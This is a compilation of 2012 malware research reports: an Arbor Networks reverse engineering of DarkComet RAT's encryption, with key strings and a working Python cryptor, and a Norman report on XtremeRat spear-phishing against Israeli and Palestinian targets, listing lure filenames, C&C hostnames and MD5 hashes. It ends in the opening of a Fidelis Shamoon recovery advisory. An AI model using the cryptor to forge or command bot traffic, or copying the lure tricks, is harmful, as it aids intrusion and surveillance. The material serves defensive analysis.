representations as +DarkComet does. +Now that we've reversed the core DarkComet decryption mechanism (needed to read C&C commands), we'll want to +confirm that the encryption mechanism (needed to read and/or fake bot phone home messages) is symmetric. And indeed, +by following references to the socket handle used to recv() the initial C&C command, we can trace through to find the +encryption routine called by DarkComet just prior to send()ing back its response messages. Sure enough, the encryption +routine, Encrypt_sub_44C34C(), is functionally identical to the decryption routine, as hoped and expected; the only +difference being that the Integerize_sub_44C1C0() routine prior to decryption is absent, and a new routine, which +we'll call Integer2String_sub_409C6C(), is called following the encryption step; this routine simply converts the +raw encrypted data back into the ASCII version of its hexadecimal values. +Of course, in order to have a fully functional implementation of DarkComet's crypto system, we'll need to know what key +strings it uses. We see that there are two locations where DecryptCommandBuffer_sub_44C628() is called, and +one of those locations, EncryptData_sub_49D9EC(), has a hard-coded string with an uncanny resemblance to a +decryption key: +Arbor Networks | 18 +Figure 16. Function EncryptData_sub_49D9EC() +We see that the decryption string key_var_10, passed to DecryptCommandBuffer_sub_44C628() via EDX, is +formed by concatenating a hard-coded string #KCMDDC42F#- with some mystery string stored at [EBX+8]. It turns out +that this mysterious value stored at an offset from EBX is passed into EncryptData_sub_49D9EC() via the EAX +register. Tracing backwards up the stack, we follow the reference to EAX as the baton is passed from register to register. It +does not take long to come across the following routine, which we will label ComputeKeySuffix_sub_48F52C(): +Arbor Networks | 19 +Arbor Networks | 20 +Figure 17. Function ComputeKeySuffix_sub_48F52C() +You don't run into code like this very often. It receives an output buffer passed via EAX. It then uses register EBX to do +some rather "inefficient" operations. First, it assigns EBX the value 0xFFFFFF8F, or -71. It then adds 1000 to EBX, +yielding 887. Then it goes through four iterations of a loop that has no purpose other than to increment EBX by one on +each iteration, resulting in a value of 891. Finally, it completes its laborious calculations by decrementing EBX by one, +yielding a final answer of 890. This integer is passed to a standard integer-to-string API, which writes the string 890 into +the output buffer. In C, these shenanigans would look something like the following: +int nAddend = 1000; +int nSuffix = -71; +int nResult = nSuffix + nAddend; +for (int k=0; k<4; k++) +nResult += 1; +sprintf(suffix, "%d", --nResult); +This is a very roundabout way of assigning the hard-coded string 890 to a buffer. Clearly the DarkComet author is +(wisely) trying to avoid having the entire decryption key string hard-coded in the bot executable. +So at this point, we know that the decryption key is composed of the prefix #KCMDDC42F#- concatenated with the suffix +890, yielding #KCMDDC42F#-890. +One final note regarding the encryption key strings used by DarkComet: as first documented in +Contextis' Laura Aylward's DarkComet analysis, each version of DarkComet uses a different hard-coded string for the key +prefix. For example, we have observed the following: +Dark Comet version +Version 4.0 +Version 4.2 +Arbor Networks | 21 +Crypto Key Prefix (Default) +#KCMDDC4#-890 +#KCMDDC42F#-890 +Version 5.0 +#KCMDDC5#-890 +Figure 18. Standard crypto key prefixes for DarkComet versions +Furthermore, and also documented by Contextis, DarkComet supports the use of an optional password that is appended to +the default (version-specific) crypto key. For example, the default password (if enabled) string is 0123456789. This 10digit string will be appended to the standard crypto key #KCMDDC42F#-890 (in the case of DarkComet version 4.2) to +yield a final key of #KCMDDC42F#-8900123456789. The code that performs this concatenation is found in a routine +we'll call FormCryptoKey_sub_49D2F4(): +Figure 19. Function FormCryptoKey_sub_49D2F4() +Arbor Networks | 22 +This code concatenates the three components of the final crypto key: the hard-coded prefix (e.g., #KCMDDC42F#-), the +three-digit string 890 that is not technically hard-coded but deterministically computed using the aforementioned +ComputeKeySuffix_sub_48F52C() routine, and the optional botnet password stored in the global variable +PWD_off_4A4B84. +The password itself is actually stored as an encrypted resource. Upon initialization, it is decrypted using a preliminary +crypto key comprised only of the first two components (e.g., #KCMDDC42F#-890) using a routine we've labeled +DecryptResource_sub_49D9EC(). To make a long story short, this routine uses the Windows APIs +FindResource(), LoadResource(), etc. to extract a named resource of type RT_RCDATA (code 0x0A), intended +for "application-defined resources (raw data)". The raw data is then decrypted using the preliminary crypto key. +In the case of the crypto password, the name of the resource is PWD. The resource is extracted, decrypted, and stored for +future use in the global variable PWD_off_4A4B84 by a function we call DecryptResources_sub_49F92C(): +Arbor Networks | 23 +Figure 20. Function DecryptResources_sub_49F92C() +In the case of the default password 0123456789, the encrypted resource will hold the value +6811E636E69E9AEFA5C6. This DecryptResources_sub_49F92C() function actually decrypts a lot of +encrypted bot parameters stored in various resources; some of the more interesting ones are as follows: +Resource Name +FAKEMSG +GENCODE +MSGCORE +MSGTITLE +Arbor Networks | 24 +Encrypted Data +6146B749A3CF9C9FE8CFAB2C +1100A768B3C7C0F8FCDFC907B6F9 +1C41A66E91C4C1BDE9 +Decrypted Value +9fcLqd0Gu00j +I small a RAT! +DarkComet +MUTEX +NETDATA +1C638B4887FFE980B0B9AE72B1EA40A3 +6919E62BE39D94F6ACCFAB68D5ED4BD67BA333 +6811E636E69E9AEFA5C6 +1F55B176A69A9A +DC_MUTEX-F54S21D +192.168.100.75:1604 +0123456789 +Guest16 +Figure 21. Interesting encrypted resources +Of particular interest is the encrypted NETDATA resource, which holds the C&C hostname and port. The Resource Hacker +tool is a great utility for viewing and extracting the various DarkComet encrypted parameters: +Arbor Networks | 25 +Figure 22. Resource Hacker extracting DarkComet resources +So to summarize, DarkComet uses a hard-coded (although different for each version) preliminary key string, such as +#KCMDDC42F#-890, to decrypt its sensitive parameters from various raw resources - such as the C&C information and +communications password stored in the NETDATA and PWD resources, respectively. It then appends the decrypted comms +password (stored in the PWD resource) to the end of the preliminary crypto key string to form the final key, +#KCMDDC42F#-8900123456789, that it uses for securing the network traffic to and from its C&C server. +Putting everything together into a complete DarkComet crypto module yields the following Python script: +# DarkComet decryptor/encryptor +# Copyright (c) 2012 Arbor Networks +import sys +class DarkCometCryptor(object): +def __init__(self, key): +self._len_key = len(key) +self._key = [ord(token) for token in key] +def decrypt(self, src): +# Convert ASCII to hex representation +buf = [int("0x%s" % src[k*2:k*2+2], 16) for k in range(len(src)//2)] +self._cryption(buf) +return "".join([chr(token) for token in buf]) +def encrypt(self, src): +buf = [ord(token) for token in src] +Arbor Networks | 26 +self._cryption(buf) +# Convert to hex codes (upper case) +return "".join(["%02x" % tok for tok in buf]).upper() +def _cryption(self, src): +# Build subst table +stable = list(range(256)) +accum = 0 +for k in range(256): +accum += stable[k] +accum += self._key[k % self._len_key] +accum &= 0xff +stable[k], stable[accum] = stable[accum], stable[k] +# Apply subst table +accum = 0 +for k in range(len(src)): +elem_a_idx = self._LS_BYTE(k + 1) +accum += stable[elem_a_idx] +elem_b_idx = self._LS_BYTE(accum) +stable[elem_b_idx], stable[elem_a_idx] = \ +stable[elem_a_idx], stable[elem_b_idx] +swap_sum = self._LS_BYTE(stable[elem_b_idx] + stable[elem_a_idx]) +src[k] ^= self._LS_BYTE(stable[swap_sum]) +@staticmethod +def _LS_BYTE(value): +return 0xff & value +if __name__ == '__main__': +if len(sys.argv) != 4 or sys.argv[1] not in ('-d', '-e'): +print "usage: %s [-d|-e] SRC_TEXT KEY" % sys.argv[0] +Arbor Networks | 27 +sys.exit(1) +do_decrypt = bool(sys.argv[1] == '-d') +src = sys.argv[2] +key = sys.argv[3] +print "%s: %s" % ("CRYPT" if do_decrypt else "PLAIN", src) +cryptor = DarkCometCryptor(key) +dst = cryptor.decrypt(src) if do_decrypt else cryptor.encrypt(src) +print "%s: %s" % ("PLAIN" if do_decrypt else "CRYPT", dst) +Figure 23. darkcomet.py Crypto Module +Applying our DarkComet encryption module against the observed traffic results in the following: +C&C: +IDTYPE +Bot: +SERVER +C&C: +GetSIN192.10.8.64|27038511 +Bot: +infoesComet|192.10.8.64 / [192.1.167.30] : 1604|SANDBOX7 / +Admin|27038511|29s|Windows XP Service Pack 2 [2600] 32 bit ( C:\ +)|x||US|C:\WINDOWS\system32\cmd.exe|{16382783-b70c-71e4-11e028f8efc0696f-10806d6172}|127.43 MiB/256.09 MiB [128.22 MiB Free]|English +(United States) US / -- |10/9/2011 at 8:13:31 PM +Figure 24. Decrypted version of comms from Figure 2. +Likewise, when a DarkComet C&C issues attacks command, the encrypted traffic on the wire looks like these examples: +185CB63BBE0EA3DF6D2A725936265160E391BC77F47FF46A3934CFB173AC +Arbor Networks | 28 +185CB63BA31EA7C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 +185CB63BA503B9C967297252432E5A7CFC96B261EB7EF4742533CEBF37A9C081 +But applying the decryption routine yields the following: +DDOSHTTPFLOOD192.168.100.254|5 +DDOSUDPFLOOD192.168.100.254:80|5 +DDOSSYNFLOOD192.168.100.254:80|5 +Which corresponds to ordering an HTTP flood, a UDP flood, and a TCP flood, respectively, against target +192.168.100.254, with each attack lasting for 5 seconds. Once the attacks are completed the DarkComet bot will +respond with an encrypted status message such as the following: +1E4CAB2DA50FBBDB781F5336347B073DA9DCD936B46EB03B646DDAE366F7D5C76D3C0420A55906F524 +240A0F34D3A6384150 +Which decrypts to the following: +BTRESULTSyn Flood|Syn task finished!|Administrator +As implied above, DarkComet supports three types of DDoS attacks: HTTP flooding, UDP flooding, and TCP flooding +(mis-advertised as "SYNFLOOD"). The UDP and TCP volumetric floods are quite unremarkable and simply consist of +random gibberish blasted at a target host and port. The HTTP flood also appears to be intended as a rudimentary GET +flood with a minimalist HTTP request header. However, DarkComet's HTTP flood implementation happens to have not +one, but two catastrophic bugs. +First of all, the thread procedure that implements the DDOSHTTPFLOOD attack command, SendHttp_sub_485848(), +uses the WinSock2 library's socket(), connect(), and send() APIs to send the following hard-coded HTTP +flooding request: +GET / HTTP/1.1\r\n\r\n +Arbor Networks | 29 +At first glance, this looks like an (almost) valid, although minimalist, HTTP request that is terminated with a double +carriage-return/line-feed (CRLF) combination. However, when one takes a closer look at the way DarkComet stores this +string, we see that the \r and \n characters are not actually CR (0x0D) and LF (0x0A) bytes. Instead, they are literally +comprised of the backslash (0x2F), letter r (0x72), and letter n (0x6E) bytes! +Arbor Networks | 30 +Figure 25. Hard-coded HTTP request string HttpRequest_byte_485970 +If the HTTP request string had been encoded properly (ending with 0x0D0A0D0A), the length of the string would have +been 18. But instead, we see that it is 22 bytes in length. Due to this, DarkComet's attempt at an application layer attack is +not close to a valid HTTP request per the RFCs. +The second big mistake in the implementation of DarkComet's HTTP flood attack becomes apparent further down in the +attack thread code, just before the (buggy) HTTP request payload is sent to the target via the send() API: +Arbor Networks | 31 +Arbor Networks | 32 +Figure 26. Function EncryptAndSendData_sub_49393C() +Unbelievably, DarkComet bot is accidentally encrypting the (buggy) GET request string at instruction 0x00493972 via a +call to the already-reversed Encrypt_sub_44C34C() routine. The resulting (encrypted) HTTP request is then sent on +its merry way to the DDoS target via the send() API call at instruction 0x0049399D. +So the target web server ends up receiving gibberish instead of a well-formed HTTP request that might exhaust resources +at the application layer. Due to these two serious flaws, DarkComet's HTTP flood attack reduces down to nothing more +than a volumetric TCP flood against port 80, and a very weak one at that (a mere 22 bytes of TCP payload per flooding +packet...) In fact, here is what the actual "HTTP flooding" traffic looks like: +1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 +1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 +1B5DAD48D97ABFDB7F3612275C26342091CED63D8620 +Clearly, this is very unlikely to bring any web server to its knees! +Acknowledgements to Arbor Networks analyst Curt Wilson for his valuable insights and assistance with this article. +Arbor Networks | 33 +Systematic cyber attacks against Israeli and +Palestinian targets going on for a year +By Snorre Fagerland +Principal Security Researcher + Norman AS, November 2012 +Summary +We have observed multiple probable malware attacks against Israeli and Palestinian targets. +These attacks are likely performed by the same attacker, as the malware in question +communicate with the same command- and control structures, and in many cases are signed +using the same digital certificate. +These attacks have been ongoing for at least a year; seemingly first focused on Palestinians, +then Israelis. The attacker is unknown at this point, but the purpose is assumed to be +espionage/surveillance. +Norman, November 2012 +Introduction +Recently, media (1) reported of a targeted attack against the Israeli government, in the form of +emails purporting to come from IDF Chief of Staff Benny Gantz with a malicious attachment. +This was an interesting development + Israel has, as far as we know, not been very targeted by +spear phishing attacks like this. +In the following text we will usually be referring to the actual malware files we uncovered by +their MD5 hash, which is a number that uniquely (well, uniquely enough) identifies the file in +question. +Norman, November 2012 +The initial reported malware +While we don +t have visibility into Israeli government mails, we do receive a lot of suspicious +executable files, and a little digging gives results. We found one file which matched the reports: +"IDF strikes militants in Gaza Strip following rocket barrage.doc----------------------------------------------.scr". +This is an executable file, but the icon looks like a document icon, and the very long name makes +the *.scr extension hard to spot - particularly if the executable comes packaged in an archive, as +was reportedly the case here. +This executable itself is a WinRAR selfextracting (SFX) archive, which contains several other files: +Word.exe, an XtremeRat backdoor executable +2.ico, an icon file +barrage.doc, an innocent document containing pictures (above) +XtremeRat is a commercially available backdoor trojan which has been used in many attacks, +targeted and otherwise, over the years. It gained some notoriety in connection with attacks +against Syrian activists; along with other off-the-shelf trojans such as BlackShades and +DarkComet. +Norman, November 2012 +The digital signature +An interesting feature of this exact XtremeRat is that it is digitally signed + seemingly by +Microsoft: +The certificate chain ends in an untrusted (faked) root certificate; so it will not validate properly. +Nevertheless the certificate is useful for us, as it can be used to find related cases. All +certificates are issued with a serial number which normally is quite unique, as it is supposed to +be an identifier within the scope of its issuer. So, querying our databases for this particular +faked certificate returns a number of files which are probably the products of our Israel-hostile +attacker. +These files were received in intervals through the fall and summer, going back to May 2012, and +reveal more hints about targets. Several of them are self extracting archives containing extra +files, such as documents, links and even video. The following pages display some of the bait +information the new files contain. +Norman, November 2012 +Word document, contained in SFX RAR file +66DDF27517985A75B2317231B46A6F62 +Word document, contained in SFX RAR file +4A06D9989A8C3A9967C2011E5BAF3010 +Report.doc...................................................... +.......................................................................... +.............exe +Norman, November 2012 +Word document, contained in SFX RAR file +15FC009D9CAAA8F11D6C3DA2B69EA06E +Silence of the Jews make the Church of the +Nativity of the Palestinians.doc-----------.scr +Found in Israel +Word document, contained in SFX RAR file +940B3ACDF1E26FCCCF74A5A0359FB079 +IDF NEWS[RTLO]cod.SCR +Norman, November 2012 +3gp video, contained in SFX RAR file +9C39D6F52E1E1BE5AE61BAB90971D054 +A Rood Awakening! Michael Rood .3gp--------------------------------------.scr +Found in Israel +Word document, contained in SFX RAR file +9D144A828F757A90B86976EF0C906B3F +Norman, November 2012 +Word document, contained in SFX RAR file +D14E0A3D408065B1551F2827B50B83CA +Word document, contained in SFX RAR file +C8202523F35295E8BC8CC1731EDB0559 +Norman, November 2012 +Word document, contained in SFX RAR file +C21D7165B25CAF65D7F92FF758C1B5B1 +The first conference of Dr. Mohamed Morsi, +after winning.doc---------------.scr +YouTube URL contained in SFX RAR file +5B740B4623B2D1049C0036A6AAE684B0 +RTLO]----------------------------------------.wmv------------------.scr +Found in Israel +Norman, November 2012 +Word document, contained in SFX RAR file +72fd6074915f8f123eb44b3dd475d36b +TShehab[RTLO]cod.scr +Found in Israel +Norman, November 2012 +Command & Control +The involved malwares connect to external hosts controlled by the attackers. These belong to +various DynDNS services, and at the time of writing resolve to IP addresses located with hosting +services in the US. +Samples in yellow connecting to C&C hosts (green). All are digitally signed and connected +through the blue certificate node in the middle. +This is where the trail could have ended. However, there are still clues to look at + for example, +what other executables connect to these C&C hosts. This time, digging into our Malware +Analyzer G2 (MAG2) databases shows that there is more malware talking to this infrastructure, +and these bots again connect to more C&C domains. These new malwares are also +predominantly XtremeRats. However, they have been in circulation for a longer time + all the +way back to October 2011. I think it is logical to assume that all these have been part of a +medium/large surveillance operation. +Norman, November 2012 +When updated with this information the plot now looks like this: +Same as previous illustration, where new unsigned samples are shown to be related through the +usage of the same C&C infrastructure.Colours have changed + now the certificate is green, the +C&C servers are yellow, the samples are blue, while IP addresses are purple. These IP addresses +can be considered examples + they change regularly. +Several of these domains appear to be hosted together. For example (at the time of writing): +108.171.108.190 is pointed to by may2008.dyndns.info, menu.dyndns.biz, flashsoft.no-ip.biz, +monagameel.chickenkiller.com, powerhost.zapto.org +108.171.124.13 is pointed to by helpme.no-ip.biz, mjed10.no-ip.info +69.80.101.244 is pointed to by good.zapto.org, hint.zapto.org, hint1.zapto.org, natco1.no-ip.net, +natco2.no-ip.net, natco3.no-ip.net, natco4.no-ip.net, loading.myftp.org, skype.servemp3.com, +test.cable-modem.org +These addresses tend to change. Typically, every couple of days a new IP configuration is +introduced for some boxes, while others may remain static + such as the host lokia.mine.nu, +which has resolved to 69.80.107.129 since we started examining the case. +As mentioned, the IP addresses in use have belonged to mostly US-based hosting services +least recently. +Norman, November 2012 +If we go further back in time (towards spring of 2012) most of the domains used resolved to IP +addresses in the range 188.161.*. This range is located in Gaza and belongs to a provider +headquartered in Ramallah in the West Bank: +Palestinian Territory, Occupied Gaza Palestine Telecommunications Company (paltel), ASN: +AS12975 +We have also to a lesser extent seen IP addresses in use belonging to another Paltel division: +Palestinian Territory, Occupied Gaza Hadara Technologies Private Shareholding Company, +ASN: AS15975 +What is behind these IP addresses is hard to establish. It is possible that they are hacked boxes, +and as such not give much valid information. If that were the case, one might have expected +greater IP range and geographical distribution, but nothing is certain. +Our databases also show that there is much more malware talking to these providers through +many other DynDNS domains. Some of these are probably also related to this case, but as we +have no evidence linking the cases, these malwares have not been included in this paper. It is +however interesting to note the hostnames some of these connect to + like +terroristttt.noip.biz +Norman, November 2012 +The plot thickens +So far, the impression is of an attack actor attempting to gather information from Israelis. Then +something happens that throws this picture in disarray. +A series of samples show up that do not follow the pattern. They apparently do not target +Israelis. Instead they use Arabic language and refer to Palestinian issues. +Word document contained in EXE file +FC17F3B2E2C7F5F24D35899D95B8C4A6 +This document in Arabic claims that Mahmoud Abbas is threatened by assassination by Mossad +if he does not stop his reconciliation policy towards Hamas. The image is taken from a news +story about Abbas speaking at a meeting in Ramallah. +Norman, November 2012 +MP4 video contained in EXE file +2AAD951DBECB6D4715B306B337CA5C34 +The sample containing this video is digitally signed in the same way as the initial samples, but +the baiting angle is different. Instead of showing information interesting for an Israeli audience, +the video contains a music piece critical of Mahmoud Abbas, claiming that he is not working for +the good of the Palestinian people. +Norman, November 2012 +Word document contained in SFX ZIP file +B4F5BFC0AB0CC3D6B7A6B9653784DE56 +Found in Palestine +This document revolves around the prisoner exchange deal with the Israeli government over the +Israeli soldier Gilad Shalit, held hostage by Hamas for over five years. +JPEG image contained in EXE file +0AA7B256D2DCC8BD3914F895B134B225 +This image appears purportedly to be of Gilad Shalit in his hostage cell. This could be aimed at +Israelis, but the image itself has been mostly shown on Arabic/Palestinian sites like +www.shehab.ps, a news agency located in Gaza. +Norman, November 2012 +Word document contained in EXE file +926235FCF7B91442A405B5760A0729EB +This document is an interview with the former Palestinian ambassador and Member of +Parliament Nabil Amr. He is known to have been critical of Arafat and later Abbas. +Norman, November 2012 +We also see attacks apparently against Palestinian targets without being able to tie them up +against the already mentioned attack/C&C structure. For example, a file received by us as +d.exe +, (MD5 1f1e9958440d773c34415d9eb6334b25), found in Palestine Nov 17th last year, +shows a PDF document with content seemingly taken from +Palestine Now +(www.paltimes.net): +PDF document contained in the EXE file +1F1E9958440D773C34415D9EB6334B25 +Found in Palestine +Norman, November 2012 +Document metadata +Most of the bait attachments are Word documents, and Word documents can contain metadata +(typically the usernames of the creator and the one who last saved the document). It is possible +to scrub these details, but our attackers seem to have forgotten this + or inserted faked data. +Palestinian baits: +Hmas.doc: +484hhh.doc: +Word.doc: +Created by +Hitham +, saved by +anar +Created by +Hitham +, saved by +Ayman +Created and saved by +Tohan +date Oct 12th 2011 +date Nov 27th 2011 +date Feb 18th 2012 +Israeli baits: +word.doc: +IDF NEWS.doc: +Brotherhood.doc: +detl.doc: +Advisor.doc: +IDF.doc: +System.doc: +York.doc: +barrage.doc : +shehab.doc: +Created by +ahmed +, saved by +aert +Created and saved by +aert +Created and saved by +aert +Created and saved by +aert +Created and saved by +HinT +Created and saved by +aert +Created and saved by +HinT +Created and saved by +HinT +Created and saved by +HinT +Created and saved by +HinT +date May 14th 2012 +date May 26th 2012 +date Jun 24th 2012 +date Jun 29th 2012 +date Jul 29th 2012 +date Aug 1st 2012 +date Aug 5th 2012 +date Oct 16th 2012 +date Oct 24th 2012 +date Oct 31st 2012 +There seems to be a number of people involved in creating these bait files. The dates also +roughly coincide with the apparent shift in IP ranges (Appendix B), from first being located in +Gaza, to being located internationally. +Norman, November 2012 +Conclusion +We have uncovered a substantial number of malware executables that contain information +seemingly tailored at Israelis and Palestinians. We have the impression that a cybersurveillance +operation is underway (and is probably still ongoing - most recent sample created Oct. 31) +which was first mainly focused on Palestinian targets, then shifted towards Israel. The reason +for the shift is unknown. Maybe it was planned all along; or caused by changes in the political +climate; or maybe the first half of the operation found data that caused the target change. +This analysis is almost exclusively based on the executable files themselves. We have very little +information about actual infections. The only documented case is the Benny Gantz-themed +email which triggered the investigation. We consider it likely that other attacks have been +modeled the same way, using attachments in email. These attachments may often have +consisted of the described malicious files inside archives like RAR or ZIP. +The attacker is still unknown to us. There are probably several actors that could have an interest +in the regional politics, as the various powerblocks in the region are manifold and conflicted. By +using largely off-the-shelf malware, the cost of mounting such an operation is considerably +lower than for those who do their own malware development. +Norman, November 2012 +References +1. Ravid, Barak. Haaretz.com: Israel's Foreign Ministry targeted by computer virus bearing IDF chief's +name. [Online] http://www.haaretz.com/blogs/diplomania/israel-s-foreign-ministry-targeted-bycomputer-virus-bearing-idf-chief-s-name.premium-1.472278. +Norman, November 2012 +Appendix A: C&C hostnames +may2008.dyndns.info +menu.dyndns.biz +flashsoft.no-ip.biz +monagameel.chickenkiller.com +hatamaya.chickenkiller.com +powerhost.zapto.org +helpme.no-ip.biz +mjed10.no-ip.info +good.zapto.org +hint.zapto.org +hint1.zapto.org +natco1.no-ip.net +natco2.no-ip.net +natco3.no-ip.net +natco4.no-ip.net +loading.myftp.org +skype.servemp3.com +test.cable-modem.org +idf.blogsite.org +javaupdate.no-ip.info +lokia.mine.nu +www.hint-sms.com +owner.no-ip.biz +remoteback.no-ip.biz +ramadi.no-ip.biz +The likelihood that there are more names involved is large. There is for example a domain +natco5.no-ip.net which resolves to the same IP +s as the rest of the series, but we have not seen +the malware which uses it + yet. +Norman, November 2012 +Appendix B: C&C Timeline +A5DE87646EE943CD1F448A67FDBE2817 +F982401E46864F640BCAEDC200319109 +EC5B360F5FF6251A08A14A2E95C4CAA4 +97576FA7A236679DBE3ABE1A4E852026 +C1EC435E97A4A4C5585392D738B5879F +2559FE4EB88561138CE292DF5D0E099F +0ABF3FA976372CBC8BF33162795E42A8 +0B3B1E2E22C548D8F53C2AA338ABD66E +0AA7B256D2DCC8BD3914F895B134B225 +FF8E19CA8A224CC843BF0F2F74A3274E +7C5272F3F24ACB225270DDED72CFC1D4 +8AEAA0C81A36449EC9613CA846E196F2 +2AAD951DBECB6D4715B306B337CA5C34 +926235FCF7B91442A405B5760A0729EB +963BFAE19B3DA5BECE081DFF1D1E3EF9 +EBC9BDF9FDF0A9773899D96D24AC46F4 +998F30457BC48A1A6567203E0EC3282E +31F96ADD841594D35E6E97376114E756 +6E416C45A833F959A63785892042595A +0DC102CFB87C937EEFFE01A06F94E229 +B7DF947B4A67A884C751840F83C4405E +2EB1503751A7C74890096B1837C7BD81 +C21D7165B25CAF65D7F92FF758C1B5B1 +0A67F9CC30083AFB7E1F8295AE152BB6 +E9823B61E6CE999387DE821DFBF6E741 +2AAD951DBECB6D4715B306B337CA5C34 +ED53831468DDF4220E1DC3C3398F7F39 +66DDF27517985A75B2317231B46A6F62 +86BE5F0D2303FB4A8A8E297A53AC0026 +D14E0A3D408065B1551F2827B50B83CA +B6C8A6D6C35428779C5C65C1B273EBA0 +C03B5985F2504939DA9874246A439E25 +216689B2CA82F16A0CAB3A2712C27DA6 +9C39D6F52E1E1BE5AE61BAB90971D054 +E7E05001A294EBFE8A012DD3BCE78E96 +F68F85B0FBCA450F0D5C8828063AD30D +3DA8C22F5340850EE5A2C25B1D17FC27 +9D144A828F757A90B86976EF0C906B3F +DBE2AC744A3947B6306E13EBCCB718BF +861C90536B3B5A4A8309ADBBFD5C4713 +947557A55267DFFB3F85E0D7496A3679 +2BFE41D7FDB6F4C1E38DB4A5C3EB1211 +2BCDC5091C446E8B6888D802A3589E09 +72FD6074915F8F123EB44B3DD475D36B +41454B390B73A45004B916B96C693312 +Primary C&C +hint.zapto.org +natco4.no-ip.net +hint1.zapto.org +mjed10.no-ip.info +monagameel.chickenkiller.com +powerhost.zapto.org +powerhost.zapto.org +hint.zapto.org +hint.zapto.org +powerhost.zapto.org +flashsoft.no-ip.biz +menu.dyndns.biz +mjed10.no-ip.info +helpme.no-ip.biz +hint.zapto.org +powerhost.zapto.org +powerhost.zapto.org +hint.zapto.org +hint.zapto.org +powerhost.zapto.org +hint.zapto.org +menu.dyndns.biz +skype.servemp3.com +skype.servemp3.com +good.zapto.org +good.zapto.org +natco1.no-ip.net +natco1.no-ip.net +lokia.mine.nu +lokia.mine.nu +menu.dyndns.biz +lokia.mine.nu +natco2.no-ip.net +natco3.no-ip.net +may2008.dyndns.biz +menu.dyndns.biz +loading.myftp.org +lokia.mine.nu +lokia.mine.nu +natco3.no-ip.net +good.zapto.org +loading.myftp.org +loading.myftp.org +idf.blogsite.org +javaupdate.no-ip.info +Red hash = probable PS target. Blue hash = probable IL target. +Norman, November 2012 +C&C loc. +Date first seen +27-Oct-11 +29-Oct-11 +02-Nov-11 +07-Nov-11 +07-Nov-11 +08-Nov-11 +14-Nov-11 +19-Nov-11 +30-Nov-11 +17-Dec-11 +23-Dec-11 +01-Jan-12 +03-Jan-12 +12-May-12 +16-May-12 +19-May-12 +29-May-12 +02-Jun-12 +02-Jun-12 +07-Jun-12 +09-Jun-12 +09-Jun-12 +25-Jun-12 +25-Jun-12 +10-Jul-12 +12-Jul-12 +02-Aug-12 +02-Aug-12 +14-Aug-12 +29-Aug-12 +04-Sep-12 +10-Sep-12 +18-Sep-12 +27-Sep-12 +28-Sep-12 +02-Oct-12 +03-Oct-12 +21-Oct-12 +21-Oct-12 +24-Oct-12 +25-Oct-12 +25-Oct-12 +25-Oct-12 +31-Oct-12 +03-Nov-12 +Appendix C: MD5 list, main cluster +A5DE87646EE943CD1F448A67FDBE2817 +F982401E46864F640BCAEDC200319109 +EC5B360F5FF6251A08A14A2E95C4CAA4 +97576FA7A236679DBE3ABE1A4E852026 +C1EC435E97A4A4C5585392D738B5879F +2559FE4EB88561138CE292DF5D0E099F +0ABF3FA976372CBC8BF33162795E42A8 +1f1e9958440d773c34415d9eb6334b25 +0B3B1E2E22C548D8F53C2AA338ABD66E +0AA7B256D2DCC8BD3914F895B134B225 +B455426811B82CB412952F63D911D2A8 +E431634699D7E5025ECDF7B51A800620 +FF8E19CA8A224CC843BF0F2F74A3274E +7C5272F3F24ACB225270DDED72CFC1D4 +8AEAA0C81A36449EC9613CA846E196F2 +FC17F3B2E2C7F5F24D35899D95B8C4A6 +926235FCF7B91442A405B5760A0729EB +963BFAE19B3DA5BECE081DFF1D1E3EF9 +EBC9BDF9FDF0A9773899D96D24AC46F4 +4A06D9989A8C3A9967C2011E5BAF3010 +4DC0BCDCFB3F3D794175B21872A76079 +998F30457BC48A1A6567203E0EC3282E +91FC9D1B635FDEE4E56AEC32688A0E6C +940B3ACDF1E26FCCCF74A5A0359FB079 +cebc8b51d51e442e2af8c86e70c8adf4 +31F96ADD841594D35E6E97376114E756 +6E416C45A833F959A63785892042595A +0DC102CFB87C937EEFFE01A06F94E229 +B7DF947B4A67A884C751840F83C4405E +2EB1503751A7C74890096B1837C7BD81 +C21D7165B25CAF65D7F92FF758C1B5B1 +0A67F9CC30083AFB7E1F8295AE152BB6 +15FC009D9CAAA8F11D6C3DA2B69EA06E +D9D1B0C467FA4999DEF6CD53447F1221 +E9823B61E6CE999387DE821DFBF6E741 +2AAD951DBECB6D4715B306B337CA5C34 +ED53831468DDF4220E1DC3C3398F7F39 +66DDF27517985A75B2317231B46A6F62 +86BE5F0D2303FB4A8A8E297A53AC0026 +A1187DE4C4B88E560D46940B820A6228 +Norman, November 2012 +D14E0A3D408065B1551F2827B50B83CA +B6C8A6D6C35428779C5C65C1B273EBA0 +841565C67006E6A0A450C48054CF348C +C8202523F35295E8BC8CC1731EDB0559 +C03B5985F2504939DA9874246A439E25 +216689B2CA82F16A0CAB3A2712C27DA6 +5B740B4623B2D1049C0036A6AAE684B0 +9C39D6F52E1E1BE5AE61BAB90971D054 +E7E05001A294EBFE8A012DD3BCE78E96 +F68F85B0FBCA450F0D5C8828063AD30D +3DA8C22F5340850EE5A2C25B1D17FC27 +9D144A828F757A90B86976EF0C906B3F +DBE2AC744A3947B6306E13EBCCB718BF +861C90536B3B5A4A8309ADBBFD5C4713 +947557A55267DFFB3F85E0D7496A3679 +2BFE41D7FDB6F4C1E38DB4A5C3EB1211 +2BCDC5091C446E8B6888D802A3589E09 +72FD6074915F8F123EB44B3DD475D36B +41454B390B73A45004B916B96C693312 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +Fidelis Threat Advisory #1007 +RECOVERING FROM SHAMOON +November 1, 2012 +Document Status: +Last Revised: +FINAL +2012-11-01 +Executive Summary +The Shamoon malware has received considerable coverage in the past couple of months +because of its destructive nature. Despite assertions that it is the work of amateurs, it has had a +major impact on companies believed to have been affected. The basic functions of the malware +are to infect, entrench, propagate, and wipe. +However because of the way the malware operates and how it is programmed to wipe, it can find +itself being its own enemy. It will wipe data found in the Documents and Settings folder and the +System32 folder, and then use a signed driver for disk access to start wiping at the disk level. +Because the operating system needs certain files in the System32 folder to run, it was found that +infected hosts will always restart before the malware can wipe completely at the disk level. +Due to this it was possible to make a complete recovery of Shamoon-infected file systems to the +state they were in before the wiping made the OS unbootable and unreadable. In fact the majority +of files outside of the System32 and Document and Settings folder are recoverable as well; this +provided the opportunity for a successful and fruitful analysis, investigation, and remediation +effort. +Threat Overview +According to community write-ups, the Shamoon malware appears to have been deployed +against a couple of entities on or about August 15, 2012. The malware had self-propagating +qualities and was designed to overwrite data on disks attached to or accessible from 